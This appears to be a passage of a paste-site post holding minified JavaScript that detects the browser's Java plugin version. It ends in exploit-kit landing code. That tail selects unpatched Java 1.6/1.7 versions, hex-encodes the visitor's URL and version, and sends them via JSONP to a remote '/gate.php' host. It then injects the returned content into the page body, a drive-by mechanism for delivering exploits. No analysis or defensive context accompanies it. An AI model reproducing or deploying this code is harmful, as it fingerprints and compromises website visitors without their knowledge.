  1816.                         if (c.aA_ === null) {
  1817.                             if (e.OS >= 20) {
  1818.                                 a = 0
  1819.                             } else {
  1820.                                 if (e.verOpera && e.verOpera < 11 && !b.javaEnabled()) {
  1821.                                     a = 1
  1822.                                 } else {
  1823.                                     if ((e.verGecko && e.compareNums(e.verGecko, e.formatNum("2")) < 0) && !b.mimeObj) {
  1824.                                         a = 1
  1825.                                     } else {
  1826.                                         if (c.AppletTag() && !e.DOM.isEnabled.objectTag()) {
  1827.                                             a = 1
  1828.                                         }
  1829.                                     }
  1830.                                 }
  1831.                             };
  1832.                             c.aA_ = a
  1833.                         }
  1834.                         return c.aA_
  1835.                     },
  1836.                     AppletTag: function () {
  1837.                         var b = this,
  1838.                             d = b.$,
  1839.                             c = b.$$,
  1840.                             a = c.navigator;
  1841.                         return d.isIE ? !a.javaEnabled() : 0
  1842.                     },
  1843.                     VerifyTagsDefault_1: function () {
  1844.                         var a = this.$;
  1845.                         if (a.OS >= 20) {
  1846.                             return 1
  1847.                         }
  1848.                         if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && a.compareNums(a.verGecko, a.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || a.compareNums(a.verSafari, a.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  1849.                             return 0
  1850.                         }
  1851.                         return 1
  1852.                     },
  1853.                     z: 0
  1854.                 },
  1855.                 can_Insert_Query: function (d) {
  1856.                     var b = this,
  1857.                         c = b.results[0][0],
  1858.                         a = b.getResult()[0];
  1859.                     if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  1860.                         return 0
  1861.                     }
  1862.                     return !b.isDisabled.single(d)
  1863.                 },
  1864.                 can_Insert_Query_Any: function () {
  1865.                     var b = this,
  1866.                         a;
  1867.                     for (a = 0; a < b.results.length; a++) {
  1868.                         if (b.can_Insert_Query(a)) {
  1869.                             return 1
  1870.                         }
  1871.                     }
  1872.                     return 0
  1873.                 },
  1874.                 should_Insert_Query: function (e) {
  1875.                     var c = this,
  1876.                         f = c.allowed,
  1877.                         d = c.$,
  1878.                         b = c.$$,
  1879.                         a = c.getResult()[0];
  1880.                     a = a && (e > 0 || !c.isRange(a));
  1881.                     if (!c.can_Insert_Query(e) || f[e] === 0) {
  1882.                         return 0
  1883.                     }
  1884.                     if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  1885.                         return 1
  1886.                     }
  1887.                     if (!b.nonAppletDetectionOk(b.version0)) {
  1888.                         if (f[e] == 2 || (f[e] == 1 && !a)) {
  1889.                             return 1
  1890.                         }
  1891.                     }
  1892.                     return 0
  1893.                 },
  1894.                 should_Insert_Query_Any: function () {
  1895.                     var b = this,
  1896.                         a;
  1897.                     for (a = 0; a < b.allowed.length; a++) {
  1898.                         if (b.should_Insert_Query(a)) {
  1899.                             return 1
  1900.                         }
  1901.                     }
  1902.                     return 0
  1903.                 },
  1904.                 query: function (f) {
  1905.                     var j, a = this,
  1906.                         i = a.$,
  1907.                         d = a.$$,
  1908.                         k = null,
  1909.                         l = null,
  1910.                         b = a.results,
  1911.                         c, h, g = a.HTML[f];
  1912.                     if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  1913.                         return
  1914.                     }
  1915.                     c = g.obj();
  1916.                     h = g.readyState();
  1917.                     if (!i.isIE || h === 4) {
  1918.                         try {
  1919.                             k = i.getNum(c.getVersion() + "");
  1920.                             l = c.getVendor() + "";
  1921.                             c.statusbar(i.win.loaded ? " " : " ")
  1922.                         } catch (j) {};
  1923.                         if (k && i.isStrNum(k)) {
  1924.                             b[f] = [k, l];
  1925.                             a.active[f] = 2
  1926.                         }
  1927.                     }
  1928.                 },
  1929.                 isRange: function (a) {
  1930.                     return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  1931.                 },
  1932.                 setRange: function (b, a) {
  1933.                     return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  1934.                 },
  1935.                 insertJavaTag: function (g, n, h, o, m) {
  1936.                     var e = this,
  1937.                         c = e.$,
  1938.                         k = e.$$,
  1939.                         r = "A.class",
  1940.                         b = c.file.getValid(k),
  1941.                         f = b.name + b.ext,
  1942.                         q = b.path;
  1943.                     var i = ["archive", f, "code", r],
  1944.                         l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  1945.                         j = ["mayscript", "true"],
  1946.                         p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  1947.                         a = k.navigator,
  1948.                         d = !c.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1949.                     if (g == 1) {
  1950.                         return c.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1951.                     }
  1952.                     if (g == 2) {
  1953.                         return c.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1954.                     }
  1955.                     if (g == 3) {
  1956.                         return c.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1957.                     }
  1958.                     if (g == 4) {
  1959.                         return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  1960.                     }
  1961.                 },
  1962.                 insert_Query_Any: function (i) {
  1963.                     var b = this,
  1964.                         d = b.$,
  1965.                         c = b.$$,
  1966.                         g = b.results,
  1967.                         j = b.HTML,
  1968.                         a = d.DOM.altHTML,
  1969.                         e, h = d.file.getValid(c);
  1970.                     if (b.should_Insert_Query(0)) {
  1971.                         if (c.OTF < 2) {
  1972.                             c.OTF = 2
  1973.                         };
  1974.                         g[0] = [0, 0];
  1975.                         e = i ? b.codebase.isMin(i) : b.codebase.search();
  1976.                         if (e) {
  1977.                             g[0][0] = i ? b.setRange(e, i) : e
  1978.                         }
  1979.                         b.active[0] = e ? 1.5 : -1
  1980.                     }
  1981.                     if (!h) {
  1982.                         return b.getResult()
  1983.                     }
  1984.                     if (!b.DummySpanTagHTML) {
  1985.                         b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1986.                     }
  1987.                     if (b.should_Insert_Query(1)) {
  1988.                         if (c.OTF < 2) {
  1989.                             c.OTF = 2
  1990.                         };
  1991.                         j[1] = b.insertJavaTag(1, 0, a);
  1992.                         g[1] = [0, 0];
  1993.                         b.query(1)
  1994.                     }
  1995.                     if (b.should_Insert_Query(2)) {
  1996.                         if (c.OTF < 2) {
  1997.                             c.OTF = 2
  1998.                         };
  1999.                         j[2] = b.insertJavaTag(2, 0, a);
  2000.                         g[2] = [0, 0];
  2001.                         b.query(2)
  2002.                     }
  2003.                     if (b.should_Insert_Query(3)) {
  2004.                         if (c.OTF < 2) {
  2005.                             c.OTF = 2
  2006.                         };
  2007.                         j[3] = b.insertJavaTag(3, 0, a);
  2008.                         g[3] = [0, 0];
  2009.                         b.query(3)
  2010.                     }
  2011.                     if (d.DOM.isEnabled.objectTag()) {
  2012.                         if (!b.DummyObjTagHTML && (j[1] || j[2])) {
  2013.                             b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  2014.                         }
  2015.                         if (!b.DummyObjTagHTML2 && j[3]) {
  2016.                             b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  2017.                         }
  2018.                     }
  2019.                     var f = c.NOTF;
  2020.                     if (c.OTF < 3 && f.shouldContinueQuery()) {
  2021.                         c.OTF = 3;
  2022.                         f.onIntervalQuery = d.ev.handler(f.$$onIntervalQuery, f);
  2023.                         if (!d.win.loaded) {
  2024.                             d.win.funcs0.push([f.winOnLoadQuery, f])
  2025.                         }
  2026.                         setTimeout(f.onIntervalQuery, f.intervalLength)
  2027.                     }
  2028.                     return b.getResult()
  2029.                 }
  2030.             },
  2031.             NOTF: {
  2032.                 $: 1,
  2033.                 count: 0,
  2034.                 countMax: 25,
  2035.                 intervalLength: 250,
  2036.                 shouldContinueQuery: function () {
  2037.                     var f = this,
  2038.                         e = f.$,
  2039.                         c = f.$$,
  2040.                         b = c.applet,
  2041.                         a, d = 0;
  2042.                     if (e.win.loaded && f.count > f.countMax) {
  2043.                         return 0
  2044.                     }
  2045.                     for (a = 0; a < b.results.length; a++) {
  2046.                         if (b.HTML[a]) {
  2047.                             if (!e.win.loaded && f.count > f.countMax && e.codebase.checkGarbage(b.HTML[a].span)) {
  2048.                                 d = 1;
  2049.                                 b.HTML[a].DELETE = 1
  2050.                             }
  2051.                             if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2052.                                 return 1
  2053.                             }
  2054.                         }
  2055.                     };
  2056.                     return 0
  2057.                 },
  2058.                 isJavaActive: function (d) {
  2059.                     var f = this,
  2060.                         c = f.$$,
  2061.                         a, b, e = -9;
  2062.                     for (a = 0; a < c.applet.HTML.length; a++) {
  2063.                         b = f.isAppletActive(a, d);
  2064.                         if (b > e) {
  2065.                             e = b
  2066.                         }
  2067.                     }
  2068.                     return e
  2069.                 },
  2070.                 isAppletActive: function (e, g) {
  2071.                     var h = this,
  2072.                         f = h.$,
  2073.                         b = h.$$,
  2074.                         l = b.navigator,
  2075.                         a = b.applet,
  2076.                         i = a.HTML[e],
  2077.                         d = a.active,
  2078.                         k, c = 0,
  2079.                         j, m = d[e];
  2080.                     if (g || m >= 1.5 || !i || !i.span) {
  2081.                         return m
  2082.                     };
  2083.                     j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2084.                     for (k = 0; k < d.length; k++) {
  2085.                         if (d[k] > 0) {
  2086.                             c = 1
  2087.                         }
  2088.                     }
  2089.                     if (j != 1) {
  2090.                         m = j
  2091.                     } else {
  2092.                         if (f.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2093.                             m = 1
  2094.                         } else {
  2095.                             m = 0
  2096.                         }
  2097.                     }
  2098.                     d[e] = m;
  2099.                     return m
  2100.                 },
  2101.                 winOnLoadQuery: function (c, d) {
  2102.                     var b = d.$$,
  2103.                         a;
  2104.                     if (b.OTF == 3) {
  2105.                         a = d.queryAllApplets();
  2106.                         d.queryCompleted(a)
  2107.                     }
  2108.                 },
  2109.                 $$onIntervalQuery: function (d) {
  2110.                     var c = d.$,
  2111.                         b = d.$$,
  2112.                         a;
  2113.                     if (b.OTF == 3) {
  2114.                         a = d.queryAllApplets();
  2115.                         if (!d.shouldContinueQuery()) {
  2116.                             d.queryCompleted(a)
  2117.                         }
  2118.                     }
  2119.                     d.count++;
  2120.                     if (b.OTF == 3) {
  2121.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  2122.                     }
  2123.                 },
  2124.                 queryAllApplets: function () {
  2125.                     var f = this,
  2126.                         e = f.$,
  2127.                         d = f.$$,
  2128.                         c = d.applet,
  2129.                         b, a;
  2130.                     for (b = 0; b < c.results.length; b++) {
  2131.                         c.query(b)
  2132.                     }
  2133.                     a = c.getResult();
  2134.                     return a
  2135.                 },
  2136.                 queryCompleted: function (c) {
  2137.                     var g = this,
  2138.                         f = g.$,
  2139.                         e = g.$$,
  2140.                         d = e.applet,
  2141.                         b;
  2142.                     if (e.OTF >= 4) {
  2143.                         return
  2144.                     }
  2145.                     e.OTF = 4;
  2146.                     var a = g.isJavaActive();
  2147.                     for (b = 0; b < d.HTML.length; b++) {
  2148.                         if (d.HTML[b] && d.HTML[b].DELETE) {
  2149.                             f.DOM.emptyNode(d.HTML[b].span);
  2150.                             d.HTML[b].span = null
  2151.                         }
  2152.                     }
  2153.                     e.setPluginStatus(c[0], c[1], 0);
  2154.                     if (f.onDetectionDone && e.funcs) {
  2155.                         f.ev.callArray(e.funcs)
  2156.                     }
  2157.                     if (f.DOM) {
  2158.                         f.DOM.onDoneEmptyDiv()
  2159.                     }
  2160.                 }
  2161.             },
  2162.             zz: 0
  2163.         },
  2164.         zz: 0
  2165.     }
  2166. };
  2167. __$.INIT();
  2168. var J = __$.getVersion('Java', '');
  2169. if (J) {
  2170.     J = J.replace(/\,/g, '.') || '0.0.0.0';
  2171.     if (((J.indexOf('1.6.0.') !== -1) || (J.indexOf('1.7.0.') !== -1)) && (J != '1.7.0.25') && (J != '1.7.0.40')) {
  2172.         var ref = window.location.href;
  2173.         var versions = bin2hex(bin2hex(ref) + '||' + J);
  2174.         var JSONP = function (d) {
  2175.             function JSONP(a, b) {
  2176.                 function JSONPResponse() {
  2177.                     try {
  2178.                         delete d[c]
  2179.                     } catch (e) {
  2180.                         d[c] = null
  2181.                     }
  2182.                     documentElement.removeChild(script);
  2183.                     b.apply(this, arguments)
  2184.                 }
  2185.                 var c = prefix + f++,
  2186.                     script = document.createElement("script");
  2187.                 d[c] = JSONPResponse;
  2188.                 documentElement.insertBefore(script, documentElement.lastChild).src = a + "=" + c
  2189.             }
  2190.             var f = 0,
  2191.                 prefix = "__JSONP__",
  2192.                 document = d.document,
  2193.                 documentElement = document.documentElement;
  2194.             return JSONP
  2195.         }(this);
  2196.         this.onload = function () {
  2197.             JSONP(h + t + x + "/gate.php?id=" + versions + "&callback", function (a) {
  2198.                 var b = a;
  2199.                 this.document.body.innerHTML += b
  2200.             })
  2201.         }
  2202.     }
  2203. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement